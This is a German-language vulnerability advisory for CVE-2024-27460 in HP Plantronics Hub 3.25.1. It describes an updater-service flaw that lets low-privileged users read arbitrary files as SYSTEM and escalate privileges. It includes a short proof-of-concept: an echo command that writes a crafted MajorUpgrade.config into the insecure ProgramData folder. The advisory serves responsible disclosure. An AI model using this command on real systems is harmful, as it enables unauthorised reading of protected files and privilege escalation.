CVE-2024-27460

HP Plantronics Hub 3.25.1 Updater Privilegieneskalation/Willkürliches Lesen von Dateien

Beschreibung:

HP Plantronics Hub 3.25.1 weist einen Fehler auf, der es Benutzern mit geringen Privilegien ermöglicht, auf dem Rechner, auf dem die Anwendung installiert ist, willkürlich Dateien als SYSTEM zu lesen. Darüber hinaus ist es möglich, diese Schwachstelle auszunutzen, um Privilegien zum SYSTEM-Benutzer zu eskalieren.

Betroffene Versionen

HP Plantronics Hub 3.25.1

Betroffene Dienste

Unsicherer Pfad: "C:\ProgramData\Plantronics\Spokes3G"

Dienst: PlantronicsUpdateService

Schritte zur Reproduktion (POC):

• Öffnen Sie cmd.exe
• Navigieren Sie mit cd C:\ProgramData\Plantronics\Spokes3G
• echo ^|^|<VOLLSTÄNDIGER-PFAD-ZU-IHRER-GEWÜNSCHTEN-DATEI>^|> MajorUpgrade.config
• Die gewünschte Datei wird nach "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp" kopiert, worauf jeder authentifizierte Benutzer Zugriff hat.

Entdeckt von:

• Farid Zerrouk von Deloitte Belgium
• Alaa Kachouh von Mastercard Europe.